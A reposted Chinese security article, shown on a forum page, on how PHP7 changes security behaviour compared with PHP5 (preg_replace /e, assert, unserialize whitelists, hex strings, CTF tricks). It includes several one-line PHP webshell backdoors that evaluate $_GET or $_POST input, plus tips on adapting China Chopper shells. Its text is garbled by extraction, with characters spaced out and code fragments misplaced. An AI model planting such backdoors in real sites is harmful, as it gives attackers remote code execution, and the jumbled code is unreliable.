搜索

[13843] 2019-03-08_PHP7和PHP5在安全上的区别

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2019-03-08_PHP7和PHP5在安全上的区别 P H P 7 和 P H P 5 在 安 全 上 的 区 别 原 创   温 酒   F r e e B u f   2 0 1 9 - 0 3 - 0 8 前 言 前 言 之 前 测 试 的 时 候 发 现 很 多 菜 刀 的 马 都 不 能 用 了 ， 大 马 也 几 乎 之 前 测 试 的 时 候 发 现 很 多 菜 刀 的 马 都 不 能 用 了 ， 大 马 也 几 乎 3 / 4 不 能 正 常 在 不 能 正 常 在 p h p 7 运 行 。 网 上 百 度 也 没 有 找 到 太 多 运 行 。 网 上 百 度 也 没 有 找 到 太 多 相 关 性 的 文 章 ， 就 自 己 总 结 测 试 了 一 下 关 于 安 全 性 上 的 区 别 。 相 关 性 的 文 章 ， 就 自 己 总 结 测 试 了 一 下 关 于 安 全 性 上 的 区 别 。 函 数 修 改 函 数 修 改 p r e g _ r e p l a c e ( ) 不 再 支 持 不 再 支 持 / e 修 饰 符 修 饰 符 利 用 修 饰 符 执 行 代 码 的 后 门 大 家 也 用 了 不 少 了 ， 具 体 看 官 方 的 这 段 描 述 : 如 果 设 置 了 这 个 被 弃 用 的 修 饰 符 ，   p r e g _ r e p l a c e ( )   在 进 行 了 对 替 换 字 符 串 的   后 向 引 用 替 换 之 后 ,   将 替 换 后 的 字 符 串 作 为 p h p   代 码 评 估 执 行 ( e v a l   函 数 方 式 ) ， 并 使 用 执 行 结 果   作 为 实 际 参 与 替 换 的 字 符 串 。 单 引 号 、 双 引 号 、 反 斜 线 ( ) 和   N U L L   字 符 在   后 向 引 用 替 换 时 会 被 用 反 斜 线 转 义 . 很 不 幸 ， 在 P H P 7 以 上 版 本 不 在 支 持 修 饰 符 ， 同 时 官 方 给 了 我 们 一 个 新 的 函 数 ： 这 里 我 们 稍 微 改 动 一 下 就 可 以 利 用 它 当 我 们 的 后 门 ： c r e a t e _ f u n c t i o n ( ) 被 废 弃 被 废 弃 < ? p h p p r e g _ r e p l a c e ( " / . * / e " , $ _ G E T [ " h " ] , " . " ) ;   ? > e e p r e g _ r e p l a c e _ c a l l b a c k < ? p h p p r e g _ r e p l a c e _ c a l l b a c k ( " / . * / " , f u n c t i o n   ( $ a ) { @ e v a l ( $ a [ 0 ] ) ; } , $ _ G E T [ " h " ] ) ; ? > < ? p h p $ f u n c   = c r e a t e _ f u n c t i o n ( ' ' , $ _ P O S T [ ' c m d ' ] ) ; $ f u n c ( ) ; ? >
少 了 一 种 可 以 利 用 当 后 门 的 函 数 ， 实 际 上 它 是 通 过 执 行 实 现 的 。 可 有 可 无 。 m y s q l _ * 系 列 全 员 移 除 系 列 全 员 移 除 如 果 你 要 在 P H P 7 上 面 用 老 版 本 的 m y s q l _ * 系 列 函 数 需 要 你 自 己 去 额 外 装 了 ， 官 方 不 在 自 带 ， 现 在 官 方 推 荐 的 是 m y s q l i 或 者 p d o _ m y s q l 。 这 是 否 预 示 着 未 来 S Q L 注 入 漏 洞 在 P H P 上 的 大 幅 减 少 呢 ~ 去 特 么 的 预 示 ， 我 已 经 很 久 没 在 目 标 站 上 挖 到 过 s q l 注 入 了 ， 全 都 是 预 编 译 ！ u n s e r i a l i z e ( ) 增 加 一 个 可 选 白 名 单 参 数 增 加 一 个 可 选 白 名 单 参 数 其 实 就 是 一 个 白 名 单 ， 如 果 反 序 列 数 据 里 面 的 类 名 不 在 这 个 白 名 单 内 ， 就 会 报 错 。 像 这 样 的 报 错 ！ 可 以 是 类 名 也 可 以 是 布 尔 数 据 ， 如 果 是 就 会 将 所 有 的 对 象 都 转 换 为 对 象 。 是 无 限 制 。 也 可 以 传 入 类 名 实 现 白 名 单 。 妈 的 ， 还 好 现 在 是 可 选 不 是 必 选 ， 要 是 默 认 逼 程 序 员 弄 白 名 单 那 就 真 的 吐 血 了 。 a s s e r t ( ) 默 认 不 在 可 以 执 行 代 码 默 认 不 在 可 以 执 行 代 码 这 就 是 众 多 马 不 能 用 的 罪 魁 祸 首 了 ， 太 多 的 马 用 a s s e r t ( ) 来 执 行 代 码 了 ， 这 个 更 新 基 本 就 团 灭 ， 一 般 情 况 下 修 改 成 e v a l 即 可 正 常 运 行 了 ~ 提 一 下 ， 菜 刀 在 实 现 文 件 管 理 器 的 时 候 用 的 恰 好 也 是 a s s e r t 函 数 ， 这 导 致 菜 刀 没 办 法 在 P H P 7 上 正 常 运 行 。 语 法 修 改 语 法 修 改 f o r e a c h 不 再 改 变 内 部 数 组 指 针 不 再 改 变 内 部 数 组 指 针 这 样 的 代 码 在 p h p 5 中 ， 是 这 样 的 执 行 结 果 ： e v a l $ d a t a   =   u n s e r i a l i z e ( $ s e r i a l i z e d O b j 1   ,   [ " a l l o w e d _ c l a s s e s "   = >   t r u e ] ) ; $ d a t a 2   =   u n s e r i a l i z e ( $ s e r i a l i z e d O b j 2   ,   [ " a l l o w e d _ c l a s s e s "   = >   [ " M y C l a s s 1 " ,   " M y C l a s s 2 " ] ] ) ; F A L S E _ _ P H P _ I n c o m p l e t e _ C l a s s T R U E F A L S E < ? p h p $ a   =   a r r a y ( ' 1 ' , ' 2 ' , ' 3 ' ) ; f o r e a c h   ( $ a   a s   $ k = > & $ n ) {         e c h o   " " ; } p r i n t _ r ( $ a ) ; f o r e a c h   ( $ a   a s   $ k = > $ n ) {         e c h o   " " ; } p r i n t _ r ( $ a ) ;
因 为 数 组 最 后 一 个 元 素 的 $ v a l u e   引 用 在   f o r e a c h   循 环 之 后 仍 会 保 留 ， 在 第 二 个 循 环 的 时 候 实 际 上 是 对 之 前 的 指 针 不 断 的 赋 值 。 p h p 7 中 通 过 值 遍 历 时 ， 操 作 的 值 为 数 组 的 副 本 ， 不 在 对 后 续 操 作 进 行 影 响 。 这 个 改 动 影 响 了 某 些 c m s 的 洞 在 P H P 7 上 无 法 利 用 了 … . 你 知 道 我 指 的 是 哪 个 洞 的 。 这 个 问 题 在 P H P 7 . 0 . 0 以 后 的 版 本 又 被 改 回 去 了 ， 只 影 响 这 一 个 版 本 。 8 进 制 字 符 容 错 率 降 低 进 制 字 符 容 错 率 降 低 在 p h p 5 版 本 ， 如 果 一 个 八 进 制 字 符 如 果 含 有 无 效 数 字 ， 该 无 效 数 字 将 被 静 默 删 节 。 比 如 这 样 的 代 码 在 p h p 5 中 的 执 行 结 果 如 下 ： 但 是 在 p h p 7 里 面 会 触 发 一 个 解 析 错 误 。 这 个 问 题 同 样 在 P H P 7 . 0 . 0 以 后 的 版 本 又 被 改 回 去 了 ， 只 影 响 这 一 个 版 本 。 十 六 进 制 字 符 串 不 再 被 认 为 是 数 字 十 六 进 制 字 符 串 不 再 被 认 为 是 数 字 这 个 修 改 一 出 ， 以 后 C T F 套 路 会 少 很 多 啊 ~ 很 多 骚 操 作 都 不 能 用 了 ~ < ? p h p e c h o   o c t d e c (   ' 0 1 2 9 9 9 9 9 9 9 9 9 9 9 9 '   )   .   " n " ; e c h o   o c t d e c (   ' 0 1 2 '   )   .   " n " ; i f   ( o c t d e c (   ' 0 1 2 9 9 9 9 9 9 9 9 9 9 9 9 '   ) = = o c t d e c (   ' 0 1 2 '   ) ) {                 e c h o   " :   ) " .   " n " ; }
这 个 没 什 么 好 说 的 ， 大 家 都 懂 。 以 上 代 码 在 P H P 5 运 行 结 果 如 下 ： P H P 7 运 行 结 果 如 下 ： 你 以 为 我 要 说 这 个 在 后 续 版 本 被 改 回 去 了 ？ 不 ， 目 前 截 至 最 新 的 P H P 7 . 3 版 本 依 然 没 有 改 回 去 的 征 兆 ， 官 方 称 不 会 在 改 了 。 这 个 讲 道 理 还 是 蛮 伤 的 。 移 除 了 移 除 了   A S P   和 和   s c r i p t   P H P   标 签 标 签 现 在 只 有 这 样 的 标 签 能 在 p h p 7 上 运 行 了 。 字 面 意 思 ， 影 响 其 实 不 是 很 大 （ 只 是 以 后 骚 套 路 会 少 一 点 ） 。 超 大 浮 点 数 类 型 转 换 截 断 超 大 浮 点 数 类 型 转 换 截 断 将 浮 点 数 转 换 为 整 数 的 时 候 ， 如 果 浮 点 数 值 太 大 ， 导 致 无 法 以 整 数 表 达 的 情 况 下 ，   在 P H P 5 的 版 本 中 ， 转 换 会 直 接 将 整 数 截 断 ， 并 不 会 引 发 错 误 。   在 P H P 7 中 ， 会 报 错 。 < ? p h p v a r _ d u m p ( " 0 x 1 2 3 "   = =   " 2 9 1 " ) ; v a r _ d u m p ( i s _ n u m e r i c ( " 0 x 1 2 3 " ) ) ; v a r _ d u m p ( " 0 x e "   +   " 0 x 1 " ) ; v a r _ d u m p ( s u b s t r ( " f o o " ,   " 0 x 1 " ) ) ; ? > < ? p h p   ? >
C T F 又 少 一 个 出 题 套 路 ， 这 个 问 题 我 只 在 C T F 上 见 过 ， 影 响 应 该 不 大 。 杂 项 杂 项 函 数 对   N U L L   增 加 了 保 护 . 不 再 能 解 开 字 符 串 变 量   被 移 除   方 法 被 废 弃   不 加 第 二 个 参 数 会 直 接 把 字 符 串 导 入 当 前 的 符 号 表 ， 如 果 加 了 就 会 转 换 称 一 个 数 组 。 现 在 是 第 二 个 参 数 是 强 行 选 项 了 。 统 一 不 同 平 台 下 的 整 型 长 度   可 以 加 入 一 个 数 组 覆 盖 p h p . i n i 的 配 置 后 记 后 记 这 篇 文 章 将 保 持 长 期 更 新 和 修 正 。 但 是 很 遗 憾 F B 在 发 布 之 后 作 者 就 没 有 权 限 更 改 了 ， 因 此 后 续 更 新 将 在 博 客 上 发 布 。 错 误 的 地 方 或 者 不 全 的 地 方 请 通 过 b a d _ g u y s @ q q . c o m 联 系 我 。 引 用 引 用 1 .   h t t p : / / p h p . n e t / * 本 文 作 者 ： 温 酒 ， 本 文 属 本 文 作 者 ： 温 酒 ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 阅 读 原 文 e x e c ( ) ,   s y s t e m ( )   p a s s t h r u ( ) l i s t ( ) s t r i n g $ H T T P _ R A W _ P O S T _ D A T A _ _ a u t o l o a d ( ) p a r s e _ s t r ( ) s e s s i o n _ s t a r t ( )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理